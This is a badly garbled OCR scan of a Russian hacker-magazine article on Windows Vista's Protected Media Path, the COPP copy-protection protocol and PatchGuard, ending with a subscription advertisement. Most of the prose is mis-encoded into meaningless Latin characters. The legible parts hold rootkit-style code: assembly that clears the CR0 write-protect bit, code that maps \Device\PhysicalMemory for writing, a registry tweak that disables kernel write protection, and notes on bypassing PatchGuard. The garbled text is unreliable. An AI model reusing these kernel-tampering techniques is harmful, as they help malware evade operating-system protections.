Cla+eoaeulrl Ta0adaaT- Tuaecralaley. e TTASTATAA T dafatiecaoee
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EUCTAAOAEAE AUCAAEA TTA
T TAOATECTA ITATAT
OEODTATE TTOTE, TOPAIRA
PANGEOPTAUAAATUE OTEUET A A

m

ABOCUYT &
5 cAlIedA GEOFTATAT TTOTEA ATa6e & 8gT608e.

A TT6ANTE dacdaaTose catiedol TTATAT TTETeaTey

Microsoft T4 dTaééa ié TaiTé o

=)

4100 catieoi
-T60U (Protected Media Path
éée PMP), catie T4 a04eT TTEUCTAA0ACUNETAT
dazeia (Protected User-Mode Audio ééé PUMA), ¢a-
Geuaiiaé aeaaT-Toou (Protected Video Path éée
PVP), 6T8a46aT1e4a catieoTé catieuaiiTar ae

. D O
o =)

T 4eaat-
T60e (Protected Video Path-Output Protection Mana-
gement éé& PVP_OPM) & 4a¢TTaniaé acaeT-rool

Q)
Q)
o7
=14
-
(=]

)

&T & (Secure Audio Path eéé SAP). YOT && é00o4¢é 1Ta-
aea 0aol 1 TeeiT: AOTEUET daci(d féTa, 3 i€
TTedd 860! Eficace, aeaarné voéc ddee-
ooTalda 00 — 4& ¢arooai iTiod ofay
ati ou. 028Ta U
fan é T
fidas

TAAR ETEOEAOEAA MICROSOFT TT NTCAATEP
ETEATER, EN
ANATO TOOE AAT
AAT-EADOA

M APAAAZE TAAEA-ETTOATOA

TAATAOAT TAAEA-ETAONODEE NOPAGTT TA TDAAEONR AANETTOPTEUTTAETTEDTAATEA

AOAET E AEAAT — TTE ANRXANEE TUOAPONR ATO TT1ATAOU. ATEUDTE TAPATTETO

EUCOPUAAT CAGEODPTAATTUE
NEAATAATER E

ReadProcessMemory/WriteProcessMemory, daea i
TO24aT e a4T eTen0daoToa. 04T TA 14144, 4 1e0 1 Ta-
T aTieeion P .

TTe8100lU ~ada¢ yadT. 1a x86-64 13
.. 06 5

Macrovision
axaie

-\
o
-/
o
o
=t
[vd
Q.
) <
-/
o

efacatieviait
protected video path-user
AB) aTTé1a i

accessible bu
40 NATATO 1
46a-6T104T0
Express é 6464411
fivaaey 1a yaeyaony
caadénoacaony oTeué
840 134€a-8TT04T02

0eaguiad rTedg

ep & 22638640 T1a-
ey +8ac @eid PCI
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Command/Control Application
N
Protect Enviroment (PE)
Media Interoperability Gateway Protected Video Path
\'4
S Video _— Video — | Video Sink > Kernel - Graphlcs
Decryptor Decoder Device
N /N
| J
Input Trust 1 | Output Trust
Authority Authority
Media Y Poli
Source ° I.C Y
A Engine
Input Trust Output Trust q q di Audio
Authority \; | Authority Protected User Mode Audio Device
~ PE ~
Video Audio User Mode
E— Y — | Audio Sink > ) R e Ki |
Decryptor Decoder udio sin Audio eme

Nod6eoodTay fiddia catieon iaaea-

&¢ TOe0eaBuTTaT 4Té01af0a Microsoft: http://download.
microsoft.com/download/a/f/7/af7777e5-7dcd-4800-8a0a-
b18336565f5b/PMP-sign.doc.

2  A8AMETAAT COPP. N&doedesesTaariae vor-
0TEéTE catietiai 1TaT atoTaa (Certified Output Pro-
tection Protocol ééé COPP) TTGATEYA0 TOeETaea-

Qo memy

ey catietiaol 4e&aT-1ToTé Ta andi Tooe fedar-
ey 1o

@
) O Qo

St oy QN
y 2 2

o o

86+eo0l 0

OTATAT éTi0aT0a
iegia Patch- EETTCAEU VS DVD
fioll yada Win-
AT /160 TT0 fio0IAR0A640 GaaeomeaaTed,
+0T fiaTé TRITATTE ATOTA e TTRo0ASE

fiTaedapo a éeiTodaodad, a aaroné dvd

fiTR0aa&yao 0T iTép Toeatee.
A «Domino»,

Taniaiée eToToTaT 0ET TToyaéa $50

Teeé aTéeacTa, itadae a éeit-

0820040 ARGAT ee@il $1 TeeeeT. IT
TTTaa fadvd, idaco eed TTE0+66 E08U-
0Ta0é oaodn & 4T ie6 TT0 T4 iTaedado-
fiy ATédatiaoi TAUAT O ToTade. ATaéT-
aé-iay efoToey ToTegT@éa i «Fight
Club», «Dead Man» e
: 8, 83 0a

0420074 ¢-ca &c-
08).
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460ATAT 6f0dTEN0AA ToTadazaTey. T
¢Taaou COPP, +0Téa
Oeéce+aféTaT fitaaerarey, naye
& fage+ed catieo
aT 134ea-éTi0afoa. catieo
s ax

feci ATAOTEO ¢ 0840 NEdAopIed ETTTTIATOTA:

o

(HIGH-BANDWIDTH DIGITAL CONTENT
PROTECTION EEE HDCP).

— TAUAR NENOATA ATAETAT,
OTPAAEATER ETTEDTAATEA
GENERATION MANAGEMENT
SYSTEM-ANALOG EEE CGMS-A).

(COPY

T CAUEOA TO ATAETATATAT
ETTEDTAATER (ANALOG COPY
PROTECTION EEE ACP).

fieé aéaaT-eadoa TTaaddeeaads 6Toy 4t Tae

T4, T50ETRATEY 11460 CA446M0

o

iec
aaou

& COPP &éy onoaitaée 083adaiTaT oaTany
a1 TOTOTETE COPP TT33486Y40 TaaTd iiT-

T1 107€8A0ETTTTAT éaTaéan 40aéaasTi
AT-6a800, +0T yaeyaony eép+aadi yeaiaioti
& fiodacdsee acetia. Ange danTTodT@Eol
aebesedTaa0l 46aéaad!
0TETE COPP efiTTélc6do éTal asoaioe-
OeeaveTITO0 iTTAUIATeé (Message Authentication
Codes é&e MACs) a&y ToTaddée 06aeTnoiTnoe
COPP-&Tiaia, 08880eedopied 1axad 15eéTxa-
7841 & 40A4T-4026A40T1. ToeeTealey acae
a44énoacpo i COPP TTi8aan0aTi adgTaa 1aotaa
IAMCertifiedOutputProtection, T84aM0aa&yp CI&AT fiT-
4Té e104604&éfi DirectShow Video Mixing Renderer
filter (VMR-7 &&& VMR-9).

Nai 7T A&ad ToToT
aéed TTéeoed 6edaTalo Toa4, ToeTaily
106 188€a-6TT104100. 048 24 COPP

\ -
-

O
-/
Qo
o
[o¥
)
[
's)
-/
P)

30pied a0i6Ta 6eOBTATAT 134841
COPP afiaiT eegli T83&T0a46Y40 a0a
706 «&TT0aé140», Tanedxedaptieé TTaéé 1

~NQ A0~ Ax >~ A

€
catieol, TAANTa+AT104 4éaaT-eadoté. E, a
ey~ 9s Amasa n e iiax Aasga

i
+anoiTnoe, 1Teas adaanoe NTefTé TTaaadeeadaai o
4 — 134€a-T6330 fiaT 6a@ado, 4TnoaoT=
6e yoed catieo aéy aTnroTecadadiey catienat
&T10410a eée 140. AGAITT, +0T, i64Aea 4TOAATOAA
COPP iareéi

a
iee, aTroiéaptial aaT adaddz.

ia e1Tadénoartaaou n
COPP'TT, T886T®AaT6a aTéx 1T TTACAATAA0AEUTT

aaTTéreol nedaocplied wase:

— TTEOXEOU OATTXEO NADOEOEEAOTA
ADAEAADA (A OT AADOA TTTAAAONR «EA-
AOE» ADAEAAD).

atTnrdtTecaaaaiea

Trarenu HD DVD KMCS1,
&Taa WHQL2
PVP-OPM HD DVD MFPMP3
fi efoddsesraariai
adadoe+aneei
A4aT0a0T1
PVP-UAB HD DVD MFPMP
fi 4eneéaoiai
adaoe+aneei
A3aT0adT1
PVP-OPM caroTh- T446a-8T10ai0, MFPMP
a4 03=eia Toéeeé 08daopuieé
COPP'a 1a XP
TTarenu HD DVD KMCS,
6Taa WHQL
i
adaéaas fiocaraado fioaiaado WHQL,
TTEUCTAA0AEURETAT MFPMP
daxeia,
PUMA Trarenu WHQL
a éTaa
fi A04AeT-402€348T1 eee TTcatéypueé
aaT étirTiaroaie caaaénoataaou
Yo 0BAATAATEY
adacaas PMP-PE TTarenu eTirTiaioa WHQL,
TTEUCTAA0ABURETAT éTaa eée APOs, MFPMP
dazxeTa eceé ad6aed iTaonied
ioq, Tadadaotaaol
6+anoadcpuuea cavieudiiaé
4 TadaaToéa &T104i10
Tauaéora APO
Téaaeir O Media PMP-PE Trarenu Téadeiq, MFPMP
Foundation éTaa Tadadaotaapuiea
(éTAadée, 6eeuodn) catienldiiaé
&Tioaio

— TTNOPTEOU DIRECTSHOW PLAYBACK

GRAPH, ATNTDTEGATARUEE (TO REN-

RENDERER FILTER (VMR).

— CATPTNEOU VMR AER IAMCERTIFIEDOUT-
PUTPROTECTION ETOADOAENA.

— AUCUAAOU IAMCERTIFIEDOUTPUTPRO-
TECTION::KEYEXCHANGE, ATCAPAUAP-
UEE 128-AEOTTA REOXAETTA xENET,
NAATADEDTAATITA AEAAT-ADAEAADT1
ATANOA N OATTETE NADOEOEEAOTA,
NTAADAAUAE 2048-AEOTUE TOAEEx-
TUE RSA-EEPx, ETOTPUT AUE TTATE-
NAT ADAEAAD.

— TDTAADEOU OATTEO NADOEOEEAOTA

TATTETE.

— TPTAAPEOU NTENTE ATTOEEDTAATTUO
NADOEOEEAOTA (CERTIFICATE REVOCA-
TION LIST EEE CRL) E, ANEE OTOR AU
TAET EC NADOEOEEAOTA O&£A ONTAE
«CANAAOEOUNR» A YOT T EENOA, TPA-

T ECAEAxU EC OATTxEE NADOEOEEAOTA
TOAEEXTUE RSA-EEPx.

— ETEOEAEECEDTAAOU COPP-NANNEP.
NETTTUE EEPx, ETOTDUE AOAAO EN-
TTEUCTAAT AERTT. NE AATTUO E
TDTAADEE OTAT, xOT TTATENATTUA

AATTUOA TAAUEE 1TAEOEOEDTAATO.




TAD TTNEAATAAOAEUTTNOE ETTATA
(EAEAUE DAG, ETAAA TPEETAATEATT-
NOEAAO ETTATAO EEE CATDTN NOAOO-

NEAATAAOAEUTTNOE OAAEExXEAAPONR

TAAAETEOO E ATCADAUAPORNR ATANOA
N CATBTNTT TAGAA TPEETAEATEDP).

— TAUAAETEOU 128-AEOTTA NEOXAETTA
<ENET, TTEO<ATTITA TO AEAAT-ADAE-
AAPA, N AES NANNETTTUT EEPXTI,
TTIAPATE TTNEAATAACAEUTTNOE

ATA, AAEAA — CADE-

OPTAAQOU YOTO AAEOTAUE TANNEA TO-

AAAAA T1 ADAEAADPA E TADPA-

AAOU TTEOXATTUE DACOEUOAO TAOTAO

IAMCERTIFIEDOUTPUTPROTECTION::SES-

SIONSEQUENCESTART.

— TAxAOU TOTPAAEROU COPP-ETTATAU
E CATBTNU NOAOONA.

T TTETOADANTAAOUNR TAEEXEAT CA-
UEOTUO TAGATECTTA, A OAE £A EO OE-
TATE TOOAT AUCTAA TAOTAA IAMCER-
TIFIEDOUTPUTPROTECTION::PROTEC-
TIONSTATUS.

— ONOATTAEOU CAAATTUA OPTATE CAUE-
OU TOOAT AUCTAA TAOTAA IAMCERTIFI-
EDOUTPUTPROTECTION::PROTECTION-
COMMAND.

EAEUTUE ODTAATU GAUEOU AADOA
TATAEAATIT ECTATEONR.

éectaaid ia
dee T8TaasTé
ed

U afia yoe oaae, a

>

ANg

Ta AT . Qagoe+4-
fi 0a Oé 0a TTéaaado-
fiy Ta +anoiTnou ddaeecadee Téaada, ToTO0E, éfda-
0e aTaTay, 0Tol € catietial To 1Taedeéaoee, iT e

0a cavieoa ‘Téiara ravoTaoaiiiti, aToipail

1 1TeiTToT+E0a00 &
fitaoeoeéasee fa COPP-T8TOTETE «Using Certified
Output Protection Protocol (COPP)»: msdn.micro-
soft.com/library/default.asp?url=/library/en-us/dnwmt/
html/using_certified_output_protection_protocol_
copp__bwjn.asp. 041 28 1 TeiT Taéoe & 4ToTala 1de-
14380, 6T8TUapUIed 66dTUATEA YoTé cadaca.

<  GadBp-+Aied. Eaé & NEAATAAET Teedaaol, Te+a-
AT TOOTTAT 6 Microsoft T& TTé6+@&TH. AT&ROT égyli-
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http://download.microsoft.com/download/
aff/7/af7777e5-7dcd-4800-8a0a-b18336565f5h/
pmp-sign.doc

Tadaieci catieon Ta4ea-6Ti0aioa

e\, o Cn http://msdn.microsoft.com/library/
1 a aeecaoey... default.asp?uri=/library/enus/dnwmt/html/
A Tau é‘.y EET610] éé(; JaaTon T4 Thoa io’éﬁy' using_certified_output_protection_protocol_
e A 30 i x w x LN T8 Aii SmA N e copp_bwjn.asp
0ae +0T TrelgcTaaoace 1Tao0 faarerraaouny € fiTAoedesavey fa COPP-TETOTETE
déTnnacee

ADVANCED ACCESS CONTENT SYSTEM (AACS) — RTAOEOEEAOER, TTENUAAPUAR
OTPAAEATEA TAAEA-ETTOATOT I, CATENATTUT TA TTOEXANEEO TTNEOAERO
NEAAOPUAAT TTETEATER E TDAATACTAXATTUT AER ATNTPTECAAAATER
TAPC EAAOTITI TUO TDTEADUAAOAERD.

TTAOAADAAAPUEA, xOT TOAEExTUE EEPx TDETAAEAZEO ENOETTT 10 AEAAAEUOO.

CODE-SIGNING CERTIFICATE — NADOEOEEAO, ENTTEUCOAT UE AER TTATENATER

AATExTUO OAEETA.

DRM ATTRIBUTE — CODE-SIGNING AOPEAOO, TDAATNOAAEAT TUE «WINDOWS LOGO
PROGRAM> (CAANU «PROGRAM» — YOT TATDTADAT 1A, AETITATER) E TBTAADRPUEE,
x0T ADAEAAD AOTTETAT ATTETT I NTTOAAONOAEE N OPAATAATEAT ATTADAOTTE
OTEAADNAEUTTE AOAET-ADOEOAEOODPU (UNIVERSAL AUDIO ARCHITECTURE, NTEDAUATTT

UAA), ETOTDAR TTCATERAO ADAEAADO TADAAAOUAAOU CAUEUATTUE TAAEA-ETTOATO.

DISCRETE VERSUS INTEGRATED GRAPHICS — AENEDAOTUA ADAOExXANEEA AAATOADO.
TPAANOAAERPO NTATE NATTNOTROAEUTUA ONODTERNOAA, TAUXTT ANOAAERAT UA

A TAOAPETNEOP TEA0O xAPAC NETOU DANGEDATER (ETOAADEDTAATTUA £A
ADAOEXANEEA AAATOADU ANODPTATU TATTNPAANOAATTT A NAT xETNAO).

IDENTIFIED KERNEL — RADT, AETOTDT I TAOTARONR OTEUET ADAEAADA, TTATENATTUA

AAOTPEOAOATE, ETOTPUT MICROSOFT AACTATATD T I T ATAADRAO.

AT TTATENUAATER

KERNEL-MODE CODE SIGNING (KMCS) — TETOANN OEODTAT,

TDTADAT 1 T TAT TAANTAXATER, AACETOTPTAT TIT IA 1
TA OBPTAATU RAPA.

MEDIA INTEROPERABILITY GATEWAY (MIG) — PANGEDRAT UE TOEUOETAAEE TUE ETTAAEAD,
CAADTDATTUE TA AAD@ETO TTATAT MEDIA FOUNDATION API E PAATOAPUEE ATOOPE

MIG PLUG-IN — ET T,

1
TAOTARUEANR ATOOPE MIG-ET TAAEAPA E TPATRONOAOPUEA TOEPUOT 10 ADAAAZEOD NDA-

AE AAEA ATR (TPETADATE MIG-TEATETTA RAERPONR ETAAEE E AAEDETOTDU).

PARTICIPATING DRIVER — EPATE ET I TTTATC
CAAPOAATTUE ATOOPU PMP PE E ETAPUEE /
CAUEUATITIO TAAEA-ETTOATOO, OPATNTTPOEPOPUEE AAT xADAC ANP N

WINDOWS VISTA PC E TOTEOO ETTAXTTAT TACTAXATER (TATPETADE 1

PROTECTED CONTENT — EPATE TAAEA-ETT0ATO, CAUEUATTUE EAETE-EEAT OTPITE
DRM (DIGITAL RIGHTS MANAGEMENT — OTPAAEATEA OEODPTAU T E THAAATE).

PREMIUM CONTENT — OEODTATE ETT0ATO NEAAOPUAAT TTETEATER, OAETE EAE HD DVD
EEE EPATE ADOATE OTPTAO, CAUEUAT TUE NOATAADOT I AACS.

PROTECTED MEDIA PATH (PMP) — TAUEE OADTET, TOAAOUAAPUEE T I'TAANOAT
OAOTTETAEE E TEAOOTHT, TAANTAXEAAPUEOQ ONOTEXEAOP, ETOADTITADAAAEUTOP
TAPAATOEO OEODTATAT ETTOATOA TTATAT TTETEATER TA WINDOWS VISTA.
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lest

EAE OAEAPU ET T1APO AAEE
PATCH-GUARD TO MS

EEE

DACDAEEATEDTAATTUE TAOATECT PATCH-GUARD, ETTODTEEPOPUEE OAETNOTTNOU
NEROAT U E TDECAATTUE OAADAXU TTEUCTAAOAEAE TO ROOTKITTA E TAETDDAEOTT

PAATOAPUEOD THTAPAT 1, AEATUAAPUEONR A RADT, NE N
TANET
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a
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fi
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=) Do
- O

e, TdToadnnaie, i



®
mov eax, crO ; a06¢ei 6Tdadeypueé 8aaenod crO a d3aenod eax
and eax, OFFFEFFFFh; fadantaaai aeo WP, cardauapueé careni
mov cr0, eax ; TaiTaeyai ordaaéypueé 8aaenod cro

()
mov eax, crO ; 880cei O0Tdaaéypueé 6aaenod cr0 a 68aaenod eax
or eax, 10000h ; fadannaadi aeo WP, carvdatapuéé carefi
mov cr0, eax ; TATTaeyai 6rdadeypueé 8azenod cro
10é000ea TRaaatTomno )
// dacgila Tadaiaiita

NTSTATUS ntS; HANDLE Section; OBJECT_ATTRIBUTES ObAttributes;
INIT_UNICODE(ObString, L'™\\Device\\PhysicalMemory');

// éi

InitializeObjectAttributes(&0ObAttributes, &0bString,
OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);

2 =29na

// Toéolaaail naéoep PhysicalMemory

ntS = NtOpenSection(&Section, SECTION_MAP_READ|SECTION_MAP_WRITE, &ObAttributes);

arse s, onoaradeeaado backdoor eee aT-
Oeaaroeasiiop eioTaiaoep.

rQ06e catieoeol yasT Téaarde et acend ca-
ATEAT 4T a06Taa Aenod. Ta+éfay i W2K, Microsoft
T6aaTOE Tyea Tadaté daaeéaciité @ad a8y catieo
yada To cETAd3ATU0 adaéaadTa, 0aé & TTaTayued
1T4é6e06edTaa0U € oT. TATAET 48y AiT66a

sx~a~ 2

i
ado0 adwie, 4 TOTOGO TT 14 Tox&a-
a r

o
(=33

TadaoiTé iTaianoeiTioe n 6ed farenariaie ToTa-

daiiaie atiea T83aon1Todaia eacdééa, Toeep+ap-
tay catieod, a 0T+1ad — 6a&ao Tyou:

1 ONOATTAEA TAPATAOPA
ENFORCEWRITEPROTECTION OETA
HKLM\SYSTEM\CURRENTCONTROLSET\CO
NTROL\SESSIONMANAGER\MEMORYMAN-
AGEMENT A «0» (ECTATATER ANOOTRO
ANEEO OTEUET TTNEA TADACAADOCEE).
2 NADTN OEAAA WP (WRITEPROTECT)

A OTPAAERPUAT DAAENOPA CRO (NT.
EENOETA 1, 2), — TA OPAAOAO TADACAA-
DOCEE, TT ATNOOTAT OTEVUET

EC DAZETA BADA.

3 pPATATETA NOPATEO — TOTAPAZEAATL
OECExANEEE AAPAN NOPATEOU, ETOT-
pOP TU OTOET 1TAEOEOEDTAAOU,

TA AEPOOAEUTTA AADANTTA TETNODA-
TNOAT «NATAAT» TETOANNA TTRNDAA-
NOATT AUCTAA OOTEOEE
NTMAPVIEWOFSECTION. TACTAxAAT ANA
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A xAAT AAEAAT N TAE ANA, x0T
OET! OAEET TAPACTIT, ITAEIT TOE-
ATNOOT E RADPO AAZEA N TBDEEEAA-
OPTAIR, TBExAT AAC TADACAA-
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O Z =
M m: \

- O =
=) O =
)

> O

vl
O
M -
rﬂ;

0C
4 CATENU A TNAAATONODTENOAT PHYSI-
TAPAG OECEXANETE TATROE

AT ODATNEROEE AEPOOAEUTUO
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AAPANTA E TTCATERPUAA TTAEOEOE-
DTAAOU TATROU RAPA AAZEA N TDEE-
EAATTAT OBPTAIR, TAEAAAR ANAAT
EEQU TDAAATE AATETENODAOTDA

E AAC TADACAAPOCEE (NT. EENOETA 3).

TA AENEA — NATUE OPTAEEAUE NTT-
NTA EC ANAG, OPAAOPUEE TAOTAA

AA AUCUAAPUEE NABUACTUA ETTO-
EEEOU THE ONOATTAEA SERVICE

PACKTA.

fivatadeeaaoi 4T Ta-
TeelT TATOTECATEUTT
rTadTayveé itTiaio,
eéeé rootlit'o.

(i & Oege+anédp Taiyol TAdTIaioaey-
aony NéTeeiad (6 0TI 0 &4, TaTA0TAE1T Tda44ade-
04E0UTT Taéo TAT yada, 0T 1TelT faa-
TTeAETT Nedfaoc6ol 1Taedeode-

Ta O01é6ey artéxia ToefdofioaTaaol a raiyoe,
a 4 aagéyouny a nodare T an

Ti Oaééa, oT anoul Tddze-

44 +41 1Tae6e0edTaa0l O0Té6ep, 48 TaTAOTAe-
T atghaaocl 6Toy 40 fi O&éoéaTtT e adadTaioa-
2) (eenoe

0é, soft-ice daaToaaon, enrTelcoy
fiTa, ATelige1fioaT aioeaedsonTa, adaia-

a6ydTa € rootkitTa — a0TOTE & 08a0eé. x40aadonié
T

UL ATTATTI afioda+aaony a rootkit'ad (& T8Ta-
dal11a0, T8daracia+aiiao aey aTéuaa i feie, oe-

Ta SDTRestore). TyoOé ATTATA TAO+TT ATTEIG6A0-

[
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Re: PATCH: Guard uses of fork
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PPATCHGUARD_SUB_CONTEXT PgCreateBlockChecksumSubContext(
IN PPATCHGUARD_CONTEXT Context,
IN ULONG Unknown,
IN PVOID BlockAddress,
IN ULONG BlockSize,
IN ULONG SubContextSize,
OUT PBLOCK_CHECKSUM_STATE ChecksumState OPTIONAL)

ULONG64 Checksum = Context->RandomHashXorSeed;
ULONGChecksum32;

// Checksum 64-bit blocks

while (BlockSize >= sizeof(ULONG64))

{

Checksum "= *(PULONG64)BaseAddress;

Checksum = RotatelLeft(Checksum, Context->RandomHashRotateBits);
BlockSize -= sizeof(ULONG64) ;

BaseAddress += sizeof(ULONG64);

}

// Checksum aligned blocks

while (BlockSize-- > 0)

{

Checksum "= *(PUCHAR)BaseAddress;

Checksum = RotatelLeft(Checksum, Context->RandomHashRotateBits);
BaseAddress++;

}

Checksum32 = (ULONG)Checksum;
Checksum >>= 31;

do
{
Checksum32 "= (ULONG)Checksum;
Checksum >>= 31;
} while (Checksum);
}

typedef struct BLOCK_CHECKSUM_STATE
{
ULONGUNnknown;
ULONG64 BaseAddress;
ULONGBlockSize;
ULONGChecksum;
} BLOCK_CHECKSUM_STATE, *PBLOCK_CHECKSUM_STATE;

fiy aey vodadatiaiey 180-aidaité adsnee Windows
4 «BeOATCeTTi0p».

TasaTa fanooredied fa rootkit'd Microsoft
1T834ar1deTyeéa a Windows 2003 Server SP1, ¢aédaa
&TRo0T é PhysicalMemory Ta 0TEUET aaieienodact-
80, 1T daxd TOEETxATEYT i TOeaeéddeyie SYS-
TEM! Nédadpuiéé oas, 708410 1y00¢é dad 4 Aeh-
04 — catiéoa yada 6eodTaTé TTarenup, T8a4Toa-

4

G

2 <9

JaTanea 7a 786 fate fefodl a: XP, Aéfod, Server

2003 e Server Longhorn, 70Ta

fddafoaa eée &T naeaarey!
Microsoft cadéTéedTaaca cadooce
0eOdTaTé TTATENe, TTTAdUIa4, +0T TeaéTé
decTaaiité éTa 1a i Tedo TOTIEET60U Ta 6

yaoa. 0era, 1eéaéed +40a4é e rootkit'Ta

danfiéactaapo iedaoptied TOeveacluita aTediai-
0Q: http://download.microsoft.com/download/c/2/9/c2935f83-
1a10-4e4a-al37-c1db829637f5/windowsvistasecuritywp.doc,
http://download.microsoft.com/download/9/c/5/9¢5b2167-
8017-4bae-9fde-d599bac8184a/KMCS_Walkthrough.doc,
http://download.microsoft.com/download/9/c/5/9¢5b2167-
8017-4bae-9fde-d599bac8184a/kernel-en.doc & 4864€4).
Eagay 00T420860Tay cAaToA T TTEUCTAA0AEY!
E 626T4 TOAT4404®20861TTA TOTTBATEA & dacda-
aT0+e6al! Microsoft 436aao aea, ~0T T8Ta6di 0 Ta-
8a0iTé NTATAanoe i Troe a8y 64-aé0100 NefoaT T
fOCIAM0A0A0 & TEESTAE, a6 T4 iGTIaN0a6as aToTal

1
TOTA0AT T 4éy 1e6. YOT Tardadaa. Ateiweinoa
ToTa6a fi

Ot Qo
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9 e .

fied & 46a6348Ta!) TAdATTREONY

200 8xam i
faa aaT Toaedaou,

T, 041 NéTea

: T éefoa. NaiTa
& rootkit'Ta yoT 1eéaé 1a
1 aa 6eod0TaTé TTarefé
jee Oaéea TTaéa+ée fa naoTs-
a /Eaiité DooeT
y Aenol Ta Toeeaasas, e caod
T4 TTa nees. 1T aaxd anee &é
61T 48a6aadTa To fio
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fié
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.
a

106 446300 fi yas
iTé nefoaia. Ta

, Microsoft ATaadeéa a nate

“~2

64-4€0104 fiefod

Server Longhorn) fiTaéeacuiaé Tadaieci, ETiosTee-

doprieé HAETNOU Yada e 0e00eTaaT T0é 416401 caa-

741 Patch-Guard. Nodaziéé, gia+eo. 1440 ToT-

14 153080 T3a@eé T86a8es ¢ia+e0aeuinad ecia-
i

@é AT ada1arf Server 2003 S1, 344 TT,
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WS Thes Telburs i indsnced (o ehmne kimal siatl Ky by prsssnfing Ui ondonsd bahador,
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acéTtiaee Patch-Guard

Tievasaaie

— OAAEEOA AETAAEUTUO
AANEPETOTDTA — GDT,;
— OAAEEOA AANEPETOTDTA

a46aéaasa, — NOAE RAPA, AUAAEATTUE TARADPTI,
A EAT-OT AUA,;
— OAAEEOA AANEPETOTDTA NENOAT TUO
fidaoii&d «Bypassing NAPAENTA — SSDT;
PatchGuard on Windows x64» To skape & Skywing (ia — TAPACU NEAAOPUEOD NENOAT TUO OAE-
faiTi 4364, A Tradacee TT odararaoee yoTeé oaade ETA: NTOSKRNL.EXE, NDIS.SYS, HAL.DLL;
A0ET cagdénoa T ATOAcAT 4Télwd epadé, 6TTiy- — NEOZAATUA MSR-DAAENODU
76006 & foaoid): http://uninformed.org/index.cgi?v=- STAR/LSTAR/CSTAR/SFMASK, TOAAXAP-
3&a=3&t=sumry. 0aé =& T& TTi1a2a&d T¢TaéTi eouny UEA CA SYSCALL'U;
fi TOeveaguTaiIe aTéoiaioaie To NaiTé Microsoft: — AMD X86-64 TDAATNOAAERAO ATCT T £-
www.microsoft.com/whdc/driver/kernel/64bitpatching.mspx & TTNOU ETTODTER CA TADACT 1 RADPA

www.microsoft.com/whdc/driver/kernel/64bitpatch_FAQ.mspx. AAC BANxAOA CRC.
Patch-Guard efédeagecedoaony oTeuéT a Tofd

d6asecateb A TTETA & A43T60UfY A 53a8(
Patch-Guard 1 Te40 6T T05Tee3Tad0l 0TE08
981 04 Tagafoe et
45264808 NDIS.SYS

]

A xrQAQ -

fiy & i0&e4, T8a v

, Patch-Guard
BeceodsiiT
'§TOAA080 TOT-

fal 1deadony nda- &
Gaxdoiy?! xoTal 1a  1aT
e foaolp «Bypassing &
PatchGuard on Windows x64» (+34T ééaieé dacg 1Ta-

i
0TAYOURY?), AA0TA0 ETOTOTE dacaddaaieee Patch-  4é0

ox

63 48 47 32z AN 0
STAR C000_0081h |SYSRET CS and SS| SYSCALLCS and SS 32-bit SYSCALL Target EIP
LSTAR C000_0082h Target RIP for 64-Bit-Mode Calling Software
CSTAR C000_0083h Target RIP for Compatibility-Mode Calling Software
SFMASK C000_0084h Resarved, RAZ SYSCALL Flag Mask

MSR-833enoda, Tadnra+eaaptied 8aaToo tageiiTeé ériaraa syscall Ta x86-64
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. ida+eaaou fied
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60eeéeoTé symchk, ad6Taytiea a
«Debugging Tools». Ta iée@é
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ied, T ¢caoT TaddeiTa:

symchk NDIS.SYS
/s srv*_\*http://msdl .microsoft.com/down-
load/symbols -v

a Patch-Guard —

1TRoe T60aT Nendad

gacaldé ToToan-

>t St
< o)

0 TAGAR T TodAol fiaTe TTceoee, dafpedea

6p Mo

xAQ

&6 Patch-Guard iaédéyao «daaT+0p» éTrép i 4a «Toe-
aefaéTi», ddaiycieiny aroose Tadaca
NTOSKRNL.EXE TT a&dafo nt'KeServiceDe-scriptor-

32-a4e0i0é Checksum, carefidaa
BLOCK_CHECKSUM_STATE ai
aTaToey, Toadeén «Pg» Trodaae
¢OaATO+eeAT TEEAA0NY TT-
I'T016» & Aéiod aTéeia 400l TTO&Y «Ga-
420l Patch-Guard é&é Ta0», TTcaTeypuay
0a&p atiaedaol 1an

6p fi

4600 — (Deferred Procedure Call) eée i1
&ypUdény fa ftp://nezumi.org,ru), & 0aé 2a a caia+a- e ypueany fa IRQL-68TaTa, da
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C 1 OKTABPA 10 31 AEKABPA TMTPOBOANTCAH
CHELUMATTBHAA AKUNA 1A HYATATEJTEN XYPHAJTA

| —] ]
roqosAs NnOANUCKA Nno UEHE 11 HOMEPOB!

DUDXPERT

G

MNJIIOC NOAAPOK
OLVH XYPHAJI
LPYTOW TEMATWKW

OOOPMUB TOOOBYIO MOAMNCKY B PEOAKLIVN, Bbl MOXETE
BECMJIATHO NMONYYNTb OAMH CBEXMIA HOMEP JTIOBOIO
XYPHANA, VI3OABAEMOIO KOMMAHUEW «TEAM NTOHL»:

s AHBAPCKMIA HOMEP — NOAMNNCABLUMCh 10O 30 HOABPA,

s OEBPAJTbCKNY HOMEP — NOAMNMCABLUNCH 00 31 JEKABPA.

BINLLINTE B KYINIOH HA3SBAHWE BbIEPAHHOIO BAMW XYPHAJIA,
YTOBbl 3AKA3ATb MOAAPOYHbIVI HOMER

1870 pyo.

ol

LY

W 3TO HE BCE!

31 AEKABPS CPELAM YNTATENEN,
OPOPMUBLLMX NOANNCKY HA BECb 2007 FO[,
BYAET PA3bITPAHO 200 MP3-MJIEEPOB QUMO X




BbirOAA B TAPAHTHA B CEPBHC
KAK OOOPMUWTb 3AKA3

NMoanucka opopmnsieTcs B AeHb 06paboTKN
KYyNnOHa U KBUTaHLUMM B pepaKuuu:

. Pa3bopunBo 3anonHnTe NOANUCHOM KYMOH N KBUTAHLMIO,
Bblpe3aB MX U3 XypHana, CAenas KCEPOKOMMUIO UK pacre-
yaTaB C carTa www.xakep.ru.

. Onnatute nognucky Yepes CoepbaHK .

. BbilwnuTe B pepakumio KONMo NOAMMUCHbIX JOKYMEHTOB
— KyrnoHa 1 KBUTaHLMWN — NtoObIM U3 HUXeMNepeYncneH-
HbIX CNoCcoboB:

A o anekTpoHHoM noyte subscribe@glc.ru;
N no dakcy 8 (495) 780-88-24;
N no agpecy 119992, MockBa,
yn. Tumypa ®PpyHse, a. 11, crp. 44-45,
000 «lenim JI3HZ», oTAEN NOANUCKMN.

N B TeYeHUe NATM paboumnx gHer nocne oTnpPaBky NOAMUCHBIX
[OKYMEHTOB B pefakLmio Mo dakcy Uin SNEKTPOHHOW NOYTE;
N B TeyeHue 20 paboyunx gHel nocsie oTNPaBKU MNOAMUCHBIX
